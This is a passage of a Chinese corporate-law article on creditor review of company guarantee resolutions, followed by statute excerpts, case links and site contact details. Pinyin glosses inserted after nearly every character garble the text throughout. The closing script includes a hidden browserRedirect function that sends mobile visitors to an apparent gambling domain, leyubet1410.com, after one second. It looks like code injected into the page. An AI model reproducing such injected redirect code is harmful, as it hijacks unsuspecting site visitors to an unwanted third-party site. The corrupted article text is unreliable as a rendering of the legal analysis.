e)(jue)议(yi)(yi)(yi)。无(wu)论章(zhang)(zhang)程(cheng)是否对(dui)(dui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)机关(guan)作(zuo)出(chu)(chu)规(gui)定(ding)(ding),也(ye)无(wu)论章(zhang)(zhang)程(cheng)规(gui)定(ding)(ding)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)机关(guan)为(wei)(wei)董事会(hui)(hui)(hui)还是股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui),根(gen)据《民法(fa)(fa)(fa)总则》第61条(tiao)第3款关(guan)于“法(fa)(fa)(fa)人(ren)章(zhang)(zhang)程(cheng)或者(zhe)法(fa)(fa)(fa)人(ren)权(quan)力机构(gou)对(dui)(dui)法(fa)(fa)(fa)定(ding)(ding)代(dai)(dai)表(biao)(biao)人(ren)代(dai)(dai)表(biao)(biao)权(quan)的(de)限制,不得对(dui)(dui)抗善意(yi)(yi)相(xiang)对(dui)(dui)人(ren)”的(de)规(gui)定(ding)(ding),只要债(zhai)权(quan)人(ren)能够证(zheng)明(ming)其(qi)在订立担(dan)保(bao)(bao)合同(tong)(tong)时(shi)对(dui)(dui)董事会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)或者(zhe)股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)进行了(le)(le)审查,同(tong)(tong)意(yi)(yi)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)的(de)人(ren)数及签(qian)(qian)字人(ren)员符合公(gong)(gong)(gong)司章(zhang)(zhang)程(cheng)的(de)规(gui)定(ding)(ding),就应(ying)(ying)当认定(ding)(ding)其(qi)构(gou)成善意(yi)(yi),但公(gong)(gong)(gong)司能够证(zheng)明(ming)债(zhai)权(quan)人(ren)明(ming)知公(gong)(gong)(gong)司章(zhang)(zhang)程(cheng)对(dui)(dui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)机关(guan)有明(ming)确(que)规(gui)定(ding)(ding)的(de)除外。

债权人(ren)对公司(si)机关(guan)决(jue)议内容的审查一(yi)般限(xian)于形式审查,只要求尽到必(bi)要的注意(yi)义务即可,标(biao)准不宜太(tai)过严苛。公司(si)以机关(guan)决(jue)议系法(fa)(fa)定(ding)代表人(ren)伪造(zao)或(huo)者变(bian)造(zao)、决(jue)议程序(xu)违(wei)法(fa)(fa)、签章(名)不实、担保金额超过法(fa)(fa)定(ding)限(xian)额等事由抗辩债权人(ren)非善意(yi)的,人(ren)民法(fa)(fa)院一(yi)般不予支持。但是(shi),公司(si)有证据(ju)证明债权人(ren)明知决(jue)议系伪造(zao)或(huo)者变(bian)造(zao)的除(chu)外。

 【分析解读(du)】

根据该条的(de)(de)规(gui)定,债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)审(shen)查(cha)(cha)(cha)公(gong)司对(dui)外担保的(de)(de)内部(bu)决议(yi)遵循以(yi)下规(gui)则(ze):为公(gong)司股(gu)东(dong)或实际控制(zhi)人(ren)(ren)提(ti)(ti)供关联(lian)(lian)担保的(de)(de),债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)须(xu)审(shen)查(cha)(cha)(cha)其(qi)股(gu)东(dong)(大)会决议(yi),而为公(gong)司股(gu)东(dong)或者实际控制(zhi)人(ren)(ren)以(yi)外的(de)(de)人(ren)(ren)提(ti)(ti)供非(fei)关联(lian)(lian)担保的(de)(de),债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)只(zhi)(zhi)须(xu)审(shen)查(cha)(cha)(cha)股(gu)东(dong)(大)会决议(yi)或董事会决议(yi),两者有其(qi)一即可。单看至此,似乎债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)是不需(xu)要看章程的(de)(de),考虑到债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)无法得知公(gong)司对(dui)非(fei)关联(lian)(lian)担保的(de)(de)内部(bu)程序(xu),只(zhi)(zhi)须(xu)债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)审(shen)查(cha)(cha)(cha)“两会”其(qi)中之一即可。但细(xi)看规(gui)定似乎又不是这样(yang),债(zhai)(zhai)(zhai)权(quan)人(ren)(ren)的(de)(de)善意(yi)认定与公(gong)司章程紧(jin)密相(xiang)连。

对(dui)于关联(lian)担保(bao),需确认在排除被(bei)担保(bao)股东(dong)表决(jue)(jue)权(quan)的(de)情况下,该项表决(jue)(jue)由出席会(hui)议(yi)(yi)的(de)其他股东(dong)所持表决(jue)(jue)权(quan)的(de)过(guo)半数通(tong)过(guo),签字(zi)人(ren)(ren)员也符合公(gong)司(si)(si)(si)(si)章(zhang)程(cheng)的(de)规定;对(dui)于非关联(lian)担保(bao),需确认同意决(jue)(jue)议(yi)(yi)的(de)人(ren)(ren)数及(ji)签字(zi)人(ren)(ren)员符合公(gong)司(si)(si)(si)(si)章(zhang)程(cheng)的(de)规定,但公(gong)司(si)(si)(si)(si)能够证明(ming)债权(quan)人(ren)(ren)明(ming)知公(gong)司(si)(si)(si)(si)章(zhang)程(cheng)对(dui)决(jue)(jue)议(yi)(yi)机(ji)关有(you)(you)明(ming)确规定的(de)除外(wai)。这些需确认的(de)内容,构成《九民纪要》第18条的(de)善(shan)意判断标准,终究还(hai)是(shi)要从公(gong)司(si)(si)(si)(si)章(zhang)程(cheng)中得知。这里(li)笔(bi)者存有(you)(you)疑(yi)惑,既然债权(quan)人(ren)(ren)会(hui)看到(dao)公(gong)司(si)(si)(si)(si)章(zhang)程(cheng),又怎么会(hui)看不(bu)到(dao)公(gong)司(si)(si)(si)(si)对(dui)外(wai)担保(bao)到(dao)底是(shi)由董(dong)事(shi)会(hui)还(hai)是(shi)股东(dong)(大)会(hui)决(jue)(jue)策,那既然能看到(dao)又如何主张此部分的(de)善(shan)意呢?这不(bu)也正好成为“公(gong)司(si)(si)(si)(si)能够证明(ming)债权(quan)人(ren)(ren)明(ming)知公(gong)司(si)(si)(si)(si)章(zhang)程(cheng)对(dui)决(jue)(jue)议(yi)(yi)机(ji)关有(you)(you)明(ming)确规定的(de)”除外(wai)情形(xing)吗?

综上所述(shu),对(dui)外担保内部决议的(de)形(xing)式审(shen)查,不是(shi)完(wan)全(quan)意义(yi)上的(de)形(xing)式审(shen)查,对(dui)公司章程仍(reng)然需(xu)要(yao)进行(xing)仔(zi)细审(shen)阅。而以(yi)前(qian)可能更为关注的(de)“决议是(shi)法定代(dai)表人(ren)伪(wei)造或(huo)者(zhe)变(bian)造、决议程序违法、签章(名(ming))不实等”事(shi)由,已不再是(shi)债权人(ren)履行(xing)内部决议一般性(xing)审(shen)查义(yi)务之列了(le)。

 

四、结语

《九(jiu)民纪(ji)要》不是司(si)法(fa)解释,亦不能作为裁判(pan)依据直(zhi)接(jie)援(yuan)引,但(dan)是其统一(yi)的(de)裁判(pan)思路值得(de)我们在(zai)选择(ze)和审查(cha)增信措(cuo)施时(shi)予(yu)以(yi)借鉴(jian)。《九(jiu)民纪(ji)要》关于(yu)增信措(cuo)施的(de)规定不限于(yu)本文(wen)的(de)内(nei)容,本文(wen)仅选择(ze)以(yi)上几点来同大家分享,希望能起一(yi)定指(zhi)引之用。

 

法条链接:

《物权法(fa)》

第186条 【禁止(zhi)流押】抵押权人(ren)在债(zhai)务履(lv)(lv)行期届满前,不(bu)得与抵押人(ren)约定债(zhai)务人(ren)不(bu)履(lv)(lv)行到期债(zhai)务时抵押财(cai)产(chan)归债(zhai)权人(ren)所有(you)。

第(di)211条 【禁止流质】质权人(ren)在债务履行期届满前,不(bu)得与出(chu)质人(ren)约定(ding)债务人(ren)不(bu)履行到期债务时质押(ya)财产归(gui)债权人(ren)所有。

 

《项目收(shou)益债券管理暂(zan)行(xing)办法》

第2条 【基本(ben)概念】本(ben)办(ban)法所称的(de)(de)项目收益债(zhai)(zhai)券,是(shi)由项目实施主(zhu)体或其实际(ji)控制人发(fa)行的(de)(de),与特(te)定项目相联系的(de)(de),债(zhai)(zhai)券募集(ji)资金用于(yu)(yu)特(te)定项目的(de)(de)投资与建设,债(zhai)(zhai)券的(de)(de)本(ben)息偿(chang)还(hai)资金完(wan)全或主(zhu)要来源(yuan)于(yu)(yu)项目建成后运营收益的(de)(de)企业(ye)债(zhai)(zhai)券。

第29条【增信措施】项目收益(yi)债(zhai)券(quan)应设置差(cha)(cha)额(e)(e)补偿(chang)机制,债(zhai)券(quan)存续期(qi)(qi)内(nei)每期(qi)(qi)偿(chang)债(zhai)资(zi)金专户(hu)内(nei)账(zhang)户(hu)余(yu)额(e)(e)在(zai)当(dang)期(qi)(qi)还本(ben)付息(xi)日(ri)(ri)前 20 个工作(zuo)日(ri)(ri)不足(zu)以支(zhi)付本(ben)期(qi)(qi)债(zhai)券(quan)当(dang)期(qi)(qi)本(ben)息(xi)时,差(cha)(cha)额(e)(e)补偿(chang)人按约定在(zai) 5 个工作(zuo)日(ri)(ri)内(nei)补足(zu)偿(chang)债(zhai)资(zi)金专户(hu)余(yu)额(e)(e)与应付债(zhai)券(quan)本(ben)息(xi)的(de)差(cha)(cha)额(e)(e)部分。

第31条(tiao)【担保(bao)措施】在(zai)(zai)设置完善(shan)的差额(e)补偿机制基础(chu)上,项目收益债(zhai)券(quan)也可以同时增(zeng)加外(wai)部(bu)担保(bao),对项目收益债(zhai)券(quan)还(hai)本付(fu)(fu)息提供无条(tiao)件不可撤销连带责任(ren)保(bao)证担保(bao)。当偿债(zhai)资(zi)金专(zhuan)户(hu)内(nei)的余额(e)无法足(zu)(zu)额(e)还(hai)本付(fu)(fu)息、差额(e)补偿人也无法按(an)时补足(zu)(zu)差额(e)时,由(you)担保(bao)人在(zai)(zai)还(hai)本付(fu)(fu)息日(ri)前 10 个(ge)工作日(ri)将差额(e)部(bu)分(fen)划入偿债(zhai)资(zi)金专(zhuan)户(hu)。

 

《公司法》第16条 【公司担保(bao)】公司向其他(ta)企业投(tou)资(zi)或者为他(ta)人提(ti)供(gong)担保(bao),依照公司章(zhang)程的(de)规定(ding)(ding),由董事会或者股(gu)东(dong)会、股(gu)东(dong)大(da)会决议;公司章(zhang)程对投(tou)资(zi)或者担保(bao)的(de)总额(e)及单项(xiang)投(tou)资(zi)或者担保(bao)的(de)数额(e)有限额(e)规定(ding)(ding)的(de),不得超(chao)过规定(ding)(ding)的(de)限额(e)。

公(gong)(gong)司为公(gong)(gong)司股东(dong)或(huo)者实际控制人提(ti)供担保的,必须经(jing)股东(dong)会(hui)或(huo)者股东(dong)大会(hui)决议。

前(qian)款(kuan)规定(ding)的(de)(de)股(gu)东(dong)或者(zhe)受前(qian)款(kuan)规定(ding)的(de)(de)实(shi)际控(kong)制人支(zhi)配(pei)的(de)(de)股(gu)东(dong),不(bu)得参(can)加前(qian)款(kuan)规定(ding)事项的(de)(de)表决。该(gai)项表决由出席会议的(de)(de)其(qi)他股(gu)东(dong)所持(chi)表决权的(de)(de)过半数通(tong)过。

 

《合(he)同法(fa)(fa)》第50条(tiao)【越权代表(biao)】 法(fa)(fa)人(ren)或(huo)者(zhe)其(qi)他(ta)组织的法(fa)(fa)定代表(biao)人(ren)、负责人(ren)超越权限(xian)订立(li)的合(he)同,除(chu)相对(dui)人(ren)知道或(huo)者(zhe)应当知道其(qi)超越权限(xian)的以(yi)外,该代表(biao)行为(wei)有效。

 

案例(li)链接:

1、修水(shui)县巨(ju)通(tong)投资控股有(you)限(xian)公司、福建省稀(xi)有(you)稀(xi)土(集团)有(you)限(xian)公司合同纠纷案((2018)最高法民(min)终(zhong)119号(hao))

http://wenshu.court.gov.cn/website/wenshu/181107ANFZ0BXSK4/index.html?docId=de6bb198c68e4b539940a9d601141e90

 

2、黑龙江闽成投资集(ji)团有限(xian)(xian)公司、西林钢铁集(ji)团有限(xian)(xian)公司民间借贷纠(jiu)纷案((2019)最高法民终133号)

http://wenshu.court.gov.cn/website/wenshu/181107ANFZ0BXSK4/index.html?docId=e020d77bb31a48c498dcaa6f00c9c921

 

文章(zhang)作者:法务合规部——吕寒


0
诚聘英才

官方(fang)微信公众号(hao)

联系我们

027-87317028

027-87319263-8209

湖北省武汉市武昌区
洪山路64号湖光大厦东7楼

武(wu)汉市武(wu)昌(chang)区杏林西路6号2层

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();